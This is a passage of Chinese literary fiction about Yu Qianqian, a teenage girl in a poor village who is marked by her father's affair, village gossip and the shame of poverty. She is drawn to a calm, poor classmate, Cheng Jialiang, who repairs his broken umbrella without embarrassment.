跟刘芳结婚没几年,就跟别的女人姘居了。这个女人还是本村的,就住在村子另一头。
这件事,包括后来刘芳的事,都让庾倩倩产生了一个终生的困惑,直到现在都没有彻底明白——
她曾以为找小三起码是有钱人的专属,或者男的长得好看些才能找小三,为什么这些又穷又丑的男人,也能找到?
庾长根基本只在那个女人家里生活,甚至跟那个女人生了个儿子,很少回来。
每次到了要交学费的时候,刘芳就会去那个女人家门口闹。骂街,大哭,扯着嗓子喊庾长根的名字,跟他大打出手。
庾长根有时候出来推她一把,有时候躲在屋里不开门,有时候从窗户扔出几张皱巴巴的钞票。
全村能围大半圈在那里看热闹。
闹完了,钱未必能要到,但笑话是一定会有的。
庾倩倩走在村里,总感觉身后有窃窃私语,周围打量的目光若有似无,总是带着种隐隐的笑——并非决然的嘲笑,但也并非是彻底的善意。
她从小长得漂亮,又不是那种文文静静、容易害羞、一看就是好学生的性格。
村里的大人很喜欢拿她打趣:“倩倩长大了不得了,肯定迷死一大片”“可不要轻易被男孩骗去啊”。
他们村里方言是这样打趣男生找女朋友的——“赶紧骗一个女孩回来”。
虽然未必是真正意义上的“骗”,但这个词字里行间透出来的那种意味,让庾倩倩从小就反感。
庾倩倩曾以为庾长根不给钱给她,是因为她是女孩,他重男轻女。
可再到后来,她才慢慢明白村里面为何用那种目光打量她。
除了她家本来就抓马、三天两头闹,除了庾倩倩本人招眼——还有一个原因。
她不是庾长根的亲生女儿。
这件事全村人几乎都私下知道了,只有她自己不知道。
除了村里的闲言碎语,刘芳本身也是一个很大的问题。
世事很吊诡。
同样都是出轨,刘芳还是在庾长庚后面。
庾长庚在村里的地位没什么变化,甚至还因为有“两个老婆”被很多男人打趣夸赞,说他有本事。
而刘芳却败了名声,村里无论男人女人都没有那么看得上她。
可村里抬头不见低头见,刘芳本来就没那么硬气,没钱的时候就更硬气不起来,偶尔还要借钱,总得陪着笑脸。
她有一点讨好型的人格。每次村里办席,村里的女人都要去帮忙,也顺便赚点钱;
跟那些女人聚在一起的时候,她会故意说笑,声音很大,生怕别人注意不到她。
还会以侮辱打趣她自己的方式,让大家哄堂大笑,来让别人对她产生亲近感。
可她的生活实在乏善可陈——无非就是跟庾长根打打闹闹、要钱不给、去那个女人家门口哭。这些事说一次两次还行,说多了,别人也腻了。
最后她只能说庾倩倩。
说庾倩倩读书好,说庾倩倩学校好,说有男生给庾倩倩写情书。
庾倩倩初二那年。
她第一次来月经。
那天中午,她跟刘芳说了这事,刘芳从柜子里翻出几片卫生巾塞给她,语带欣慰说:“女儿长大了。”
傍晚回来的时候,村口站着一群人。有男有女,有老有少,像是刚散了牌局,站在那儿聊天。
庾倩倩背着书包走过去,一个中年女人笑眯眯地看着她。
“哎呀,倩倩成大姑娘了。”
身边几个叔叔伯伯阿姨也跟着笑。
“哎呦,可以嫁人了。”
“真是大女孩了。”
有几个村里的年轻男人站在后面,目光从她脸上滑到她身上,用一种她说不清的眼神看着她。
霎时间,庾倩倩像是内心有一罐被微波炉加热过头的罐头,“砰”地一下炸开了。
那种羞耻感从她的胸口直冲上脑门,整张脸烧得通红,耳朵嗡嗡作响。
她不敢看任何人,低着头,快步走了过去,书包在背上颠来颠去,她感觉自己在逃跑。
回到家里,刘芳正在厨房里忙活,兴高采烈地说:“今天专程给你烧只鸡吃!”
庾倩倩站在厨房门口,看着刘芳的背影。
她的手掐着书包带,都要把自己的手指掐出血痕。
她很想问——为什么?为什么要把她的私事到处说?
为什么要连这种事都要告诉别人,传得整个村都知道?
甚至明天有可能传到她的学校去,连班上的男生女生都会知道她来月经了。
刘芳转过身来,笑盈盈地看着她。
“红烧的,还是炖汤的?”
庾倩倩看了她很久很久。
她没有说话。
“随便。”她低声回答一句。
最后她一个人跑到了楼上自己的房间里,很久都没有下来。
从那以后,她再也没有跟刘芳说过任何关于自己隐私的事。
不聊学校,不聊朋友,不聊喜欢谁,不聊讨厌谁。
刘芳问,她就说“没什么”“就那样”“还好”。
以至于后来,她跟谢孟渊在一起这么多年,她连谢孟渊的名字都没有告诉过刘芳一次。
刘芳的衣品也不好。
她喜欢穿大红大紫,给庾倩倩买衣服,也喜欢买粉色、橙色、印着卡通图案的少女款。
好在庾倩倩长得好看,穿什么都不会太难看。
也是初二那年。
大早上狂风暴雨,庾倩倩要赶公交去上学。
前一天洗的外套还没干,衣柜里
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翻来翻去,没有一件能穿出门的。
刘芳从柜子深处翻出一件自己年轻时穿的粉色旧西装,塞给她。
“穿这个,这个厚。”
那件西装是大粉色的,垫肩宽得像将军,袖口和领口还镶着一圈暗金色的花边。
刘芳穿都不伦不类,更何况一个十几岁的女生。
可那天太冷了,庾倩倩没有别的选择,又快迟到了,她套上那件西装,赶紧冲出家门。
她坐了很久的公交到学校,走进教室的那一刻,突然有人怪叫:“庾倩倩,你穿成什么呀!”
庾倩倩想,她可能一辈子都不会忘记班上同学全部齐刷刷看向她的画面。
全班都笑了。
不是恶意的,她知道。
是那种毫不掩饰的、惊讶的、觉得好笑的笑。
庾倩倩在目光中走到自己位置,一坐下,旁边的女同学就凑过来,眼睛里全是好奇:“庾倩倩,你怎么穿一个这么大的衣服来啊?是你妈妈的吗?”
庾倩倩点点头,没说话。她把那件西装脱下来,折好,塞进书桌里。
她不应该听刘芳的话。就算穿着短袖冒雨冲来学校,全身湿透了,也比现在好。
剧烈的羞耻感像刀背刮鱼鳞一样,一层一层地刮着她,一层又一层。
庾倩倩有时候也会自傲。
她漂亮,被男生众星捧月,被女生羡慕或嫉妒。她在人群里是显眼的,是会被第一眼看见的。
她希望自己更好、更完美,希望自己配得上那些目光。
可她无法克制住自己贫穷的底色。
那种像爬山虎一样,剪了一截又有一截,无止境的、随时发生的窘迫和羞耻。
就在这时,程嘉良从教室门外走了进来。
他的伞被风刮坏了,伞骨歪了两根,伞面翻过来,像个被打折了翅膀的黑鸟。
他站在门口,没有急着进来,而是低着头,仔细地掰那几根歪掉的伞骨。
班上同学又开始笑起来。
“哎,程嘉良,你的伞都坏了!”
“你怎么举了一把破伞来?”
程嘉良笑了笑,像是才反应过来这是把破伞似的:“是啊。”
他顿了顿,又说:“但是修一修应该还能用。”
庾倩倩抬头看他。
少年逆着光,站在门口,也是蓝白校服短袖,身上洒着斑驳的雨水点。
他长得极清秀,眉尾微微往下压,带着一种少年人身上少有的沉静。
睫毛很长,垂眼的时候会在眼下投一小片扇形的阴影,像薄薄的雾。
慢条斯理、毫无窘迫。
他只是站在门口,低着头,把那把黑伞的伞骨一根一根掰回来。
掰平整了,合拢,沥掉伞面上的水滴,他把伞靠在外面的墙角。
然后他转过身,背着书包走进来,从庾倩倩身边经过。
坐在庾倩倩身后右侧的位置。
旁边一个女生转过头说:“我多带了一把伞,待会借给你。”
“不用了。借给有需要的同学吧。那把伞还能用,我回家修修就好了。”程嘉良很脾气地说着,乃至传来他翻动书页的声音。
庾倩倩坐在前面,手指捏着课本的边角,捏得发白。
为什么?为什么?
有人能面对贫穷和羞耻如此的平静、如此的从容?
他家比她还要穷。
他的伞破了缝缝补补接着用,他的书包线开了自己缝,他的衣服洗得发白起球了还在穿。
可他从不在意,坦然处之。
他认认真真地读书,踏踏实实地帮他妈妈干活,照顾妹妹。
帮老师搬东西,帮同学讲题,有时候也帮人整理错题集——他收钱,大大方方地收。
他从没有掩藏过自己的贫穷。
贫穷就是他的一部分,他接受它,就像接受他的左手、他的眼睛、他的姓氏一样自然。
为什么会有这样的人呢?
为什么有人的心胸能这么开阔?
为什么面对别人的哄笑他能淡然处之?
为什么在这样艰苦的条件下,她还时常看见他在院子里深夜坐在台灯下温书?成绩名列前茅。
为什么,她就做不到呢。
为什么她的内心藏着高傲的自尊心、难以言喻的羞耻感、总是在意周遭视线的敏感,对周围环境的格格不入?
为什么这么多年,她只遇到过一个像他这样的——
程嘉良。